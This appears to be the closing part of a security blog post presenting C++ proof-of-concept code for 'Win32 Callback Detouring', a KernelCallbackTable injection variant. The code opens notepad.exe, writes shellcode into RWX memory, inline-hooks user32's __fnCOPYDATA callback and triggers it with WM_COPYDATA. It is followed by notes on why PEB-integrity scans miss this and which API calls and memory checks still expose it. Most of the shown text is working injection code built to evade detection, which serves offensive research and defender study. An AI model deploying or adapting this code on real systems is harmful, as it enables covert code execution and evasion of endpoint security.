int InstallHookRemote(HANDLE hProcess, PINLINEHOOKTABLE Hook) {
if (!Hook || !Hook->pOriginalFunction || !NtWriteVirtualMemory) return 0;
BYTE g_Jump[] = {
0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, pRemoteDetour
0x41, 0xFF, 0xE2 // jmp r10
};
UINT64 uPatch = (UINT64)(Hook->pFunctionDetour);
RtlCopyMemory(&g_Jump[2], &uPatch, sizeof(uPatch));
if (NtWriteVirtualMemory(hProcess, Hook->pOriginalFunction, g_Jump, sizeof(g_Jump), NULL) != STATUS_SUCCESS) return 1;
printf("[+] Hook installed in remote process @ 0x%p\n", Hook->pOriginalFunction);
return 1;
}
// Restore original bytes and memory protection
int RemoveHookRemote(HANDLE hProcess, PINLINEHOOKTABLE Hook) {
if (!Hook || !Hook->pOriginalFunction || !NtWriteVirtualMemory || !NtProtectVirtualMemory) return 0;
ULONG tmpProtection = 0;
PVOID funcBaseAddr = Hook->pOriginalFunction;
SIZE_T regionSize = JMP_SIZE;
NTSTATUS status = NtWriteVirtualMemory(hProcess, Hook->pOriginalFunction, Hook->pObjBytes, JMP_SIZE, NULL);
NtProtectVirtualMemory(hProcess, &funcBaseAddr, ®ionSize, Hook->dwOldProtection, &tmpProtection);
return (status == STATUS_SUCCESS);
}
int main(){
// resolve syscalls
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
if (ntdll) {
NtAllocateVirtualMemory = (_NtAllocateVirtualMemory)GetProcAddress(ntdll, "NtAllocateVirtualMemory");
NtOpenProcessToken = (_NtOpenProcessToken)GetProcAddress(ntdll, "NtOpenProcessToken");
NtAdjustPrivilegesToken = (_NtAdjustPrivilegesToken)GetProcAddress(ntdll, "NtAdjustPrivilegesToken");
NtClose = (_NtClose)GetProcAddress(ntdll, "NtClose");
NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(ntdll, "NtQuerySystemInformation");
NtOpenProcess = (_NtOpenProcess)GetProcAddress(ntdll, "NtOpenProcess");
NtQueryInformationProcess = (_NtQueryInformationProcess)GetProcAddress(ntdll, "NtQueryInformationProcess");
NtReadVirtualMemory = (_NtReadVirtualMemory)GetProcAddress(ntdll, "NtReadVirtualMemory");
NtProtectVirtualMemory = (_NtProtectVirtualMemory)GetProcAddress(ntdll, "NtProtectVirtualMemory");
NtWriteVirtualMemory = (_NtWriteVirtualMemory)GetProcAddress(ntdll, "NtWriteVirtualMemory");
RtlMalloc = (_RtlAllocateHeap)GetProcAddress(ntdll, "RtlAllocateHeap");
RtlRealloc = (_RtlReAllocateHeap)GetProcAddress(ntdll, "RtlReAllocateHeap");
RtlFree = (_RtlFreeHeap)GetProcAddress(ntdll, "RtlFreeHeap");
RtlCopyMemory = (_RtlCopyMemory)GetProcAddress(ntdll, "RtlCopyMemory");
RtlFillMemory = (_RtlFillMemory)GetProcAddress(ntdll, "RtlFillMemory");
}
DWORD pid = getPIDbyProcName("notepad.exe");
if (pid == 0) {
cout << "The target process has not found " << endl;
return 1;
}
HANDLE hProcess = NULL;
OBJECT_ATTRIBUTES objAttr;
CLIENT_ID clientId = { (HANDLE)pid, 0 };
InitializeObjectAttributes(&objAttr, NULL, 0, NULL, NULL);
if (NtOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &objAttr, &clientId) != STATUS_SUCCESS) {
cout << "Error opening process" << endl;
return 1;
}
PROCESS_BASIC_INFORMATION pbi;
PEB peb;
KERNELCALLBACKTABLE kct;
if (NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL) != STATUS_SUCCESS ||
NtReadVirtualMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL) != STATUS_SUCCESS ||
!peb.KernelCallbackTable ||
NtReadVirtualMemory(hProcess, peb.KernelCallbackTable, &kct, sizeof(kct), NULL) != STATUS_SUCCESS) {
NtClose(hProcess);
return 1;
}
printf("[+] Remote PEB found @ 0x%p\n", pbi.PebBaseAddress);
printf("[+] KernelCallbackTable @ 0x%p\n", peb.KernelCallbackTable);
printf("[+] _fnCOPYDATA resolved @ 0x%p\n", kct.__fnCOPYDATA);
// Allocate RWX memory and write shellcode into the target process
PVOID remoteShellcodeAddr = NULL;
SIZE_T shellcodeSize = sizeof(g_CalcSh);
if (NtAllocateVirtualMemory(hProcess, &remoteShellcodeAddr, 0, &shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE) == STATUS_SUCCESS) {
if (NtWriteVirtualMemory(hProcess, remoteShellcodeAddr, g_CalcSh, sizeof(g_CalcSh), NULL) == STATUS_SUCCESS) {
printf("[+] shellcode @ 0x%p\n", remoteShellcodeAddr);
// Apply inline hook to the __fnCOPYDATA callback
INLINEHOOKTABLE FnCopyDataHook = { 0 };
if (InitializeHookRemote(hProcess, (PVOID)kct.__fnCOPYDATA, remoteShellcodeAddr, &FnCopyDataHook)) {
if (InstallHookRemote(hProcess, &FnCopyDataHook)) {
// Trigger execution by sending a message that invokes the hooked callback
printf("[>] trigger kernel callback flag WM_COPYDATA...\n");
WCHAR msg[] = L"bruh-bruh-bruh";
HWND hWnd = getHWNDbyPID(pid);
COPYDATASTRUCT cds = { 1, (DWORD)wcslen(msg) * 2, msg };
SendMessageW(hWnd, WM_COPYDATA, (WPARAM)hWnd, (LPARAM)&cds);
// Restore original function to maintain process stability
RemoveHookRemote(hProcess, &FnCopyDataHook);
}
}
}
}
NtClose(hProcess);
printf("[+] Execution finished.\n");
return 0;
}Proof of Concept
Then just open a notepad and run the code:
Detection
The main detection method for classic KCT injection is scanning the PEB for a modified KernelCallbackTable pointer. The pointer should always point inside user32.dll's address range. In this variant, the KCT pointer is never touched. An EDR performing a PEB integrity scan would find nothing wrong
No new cloned table is allocated. No pointer in the PEB is replaced
What still exposes this technique
The hook is written into user32.dll's code section, which means NtWriteVirtualMemory is called targeting a region that belongs to a loaded, signed DLL. EDRs monitoring this API can check whether the target address falls within the mapped range of any module in the remote process. A write into a DLL code section is very unusual and suspicious
NtProtectVirtualMemory is called on the same region to promote it from PAGE_EXECUTE_READ to PAGE_EXECUTE_READWRITE. Executable code becoming writable is another strong signal
Memory scanning can detect the JMP stub inside user32.dll at runtime by comparing the in memory bytes against the clean bytes from the DLL on disk
Conclusions
Win32 Callback Detouring is a cleaner variant of KernelCallbackTable injection. The key insight is that you do not need to replace the KCT pointer to abuse the callback mechanism. You only need to get execution into __fnCOPYDATA, and an inline hook achieves that without ever touching the PEB pointer that most detections look at
The trade-off is that the technique now requires writing into a DLL code section, which is a different and arguably more detectable action than allocating anonymous memory and redirecting a pointer
📌 Follow me: 🐦 X | 💬 Discord Server | 📸 Instagram | Newsletter | YouTube
S12.